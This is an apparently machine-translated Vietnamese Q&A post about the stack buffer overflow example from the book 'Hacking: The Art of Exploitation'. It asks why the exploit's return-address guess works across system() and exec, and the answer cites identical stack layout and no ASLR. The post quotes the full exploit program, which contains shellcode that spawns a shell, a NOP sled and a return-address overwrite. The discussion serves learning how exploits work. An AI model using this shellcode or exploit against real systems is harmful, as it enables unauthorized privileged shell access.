Ví dụ tràn bộ đệm từ cuốn sách Nghệ thuật Khai thác

Question

Tôi đã đọc cuốn sách Nghệ thuật Khai thác này, đó là một cuốn sách hay và tôi chạy qua ví dụ đó từ tệp exploit_notesearch.c.

Tóm lại tác giả cố gắng tràn chương trình từ notesearch.c

int main(int argc, char *argv[]) { 
    int userid, printing=1, fd; 
    char searchstring[100]; 
    if(argc > 1) // If there is an arg 
     strcpy(searchstring, argv[1]); 
    else // otherwise, 
     searchstring[0] = 0; 

Đối số của hàm main được sao chép vào mảng searchstring và nếu đối số là lớn hơn 100 byte nó sẽ tràn địa chỉ trở về từ chức năng chính.

Tác giả chuẩn bị shellcode trong exploit_notesearch.c và gọi dễ bị tổn thương notesearch.c

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 

int main(int argc, char *argv[]) { 

    unsigned int i, *ptr, ret, offset=270; 
    char *command, *buffer; 

    command = (char *) malloc(200); 
    bzero(command, 200); 

    strcpy(command, "./notesearch \'"); 
    buffer = command + strlen(command); 

    ret = (unsigned int) &i - offset; // Set return address 

    for(i=0; i < 160; i+=4) // Fill buffer with return address 
     *((unsigned int *)(buffer+i)) = ret; 
    memset(buffer, 0x90, 60); // Build NOP sled 
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

    strcat(command, "\'"); 

    system(command); //run exploit 
} 

Bạn có thể thấy rằng shellcode được kết hợp với NOP kéo xe và trở về địa chỉ mà phải trỏ đến đó NOP xe trượt tuyết. Tác giả sử dụng địa chỉ của một biến cục bộ i như là một điểm tham chiếu và chất nền 270 byte do đó cố gắng tìm ra vị trí gần đúng của NOP bị trượt.

Khi tôi hiểu tác giả giả định rằng khung công tác chính của hàm chính từ notesearch dễ bị tấn công.c sẽ nằm trong cùng một phân đoạn ngăn xếp như chồng của hàm chính từ exploit_notesearch.c. Tôi giả định điều này bởi vì chỉ có cách này thao tác này với địa chỉ của biến địa phương tôi có thể làm việc.

Nhưng, tác giả gọi là notesearch.c dễ bị tổn thương với sự trợ giúp của hệ thống() như hệ thống này (lệnh). Quan điểm của tôi là hệ thống hàm này() ở đâu đó bên trong sử dụng fork() để sinh ra quá trình con và sau đó sử dụng hàm exec() để thay đổi hình ảnh của quá trình. Nhưng nếu hình ảnh được thay đổi, có nghĩa là phân đoạn stack sẽ được làm mới và tất cả các thao tác với địa chỉ của biến cục bộ i trong hàm main trong exploit_notesearch.c sẽ vô dụng, nhưng bằng cách nào đó công việc khai thác này hoàn toàn gây nhầm lẫn cho tôi.

Answer 1

Tác giả chỉ đơn giản giả định rằng trình biên dịch C sẽ đặt các ngăn xếp của hai chương trình đó tại cùng một địa chỉ ảo (hoặc rất giống) và rằng hệ điều hành sẽ không thực hiện address randomization (ASLR). Điều này có nghĩa rằng các khung ngăn xếp của cả hai chức năng chính sẽ gần như ở cùng một vị trí, cho phép khai thác này.

Đây không phải là một cách khai thác mạnh mẽ, như bạn có thể tưởng tượng (nó có thể sẽ thất bại trên hầu hết các hệ thống 64-bit hiện đại). Khai thác mạnh mẽ hơn có thể sử dụng một hình thức return oriented programming hoặc có thể cố gắng sử dụng con trỏ hiện tại char *argv đến khung ngăn xếp có liên quan.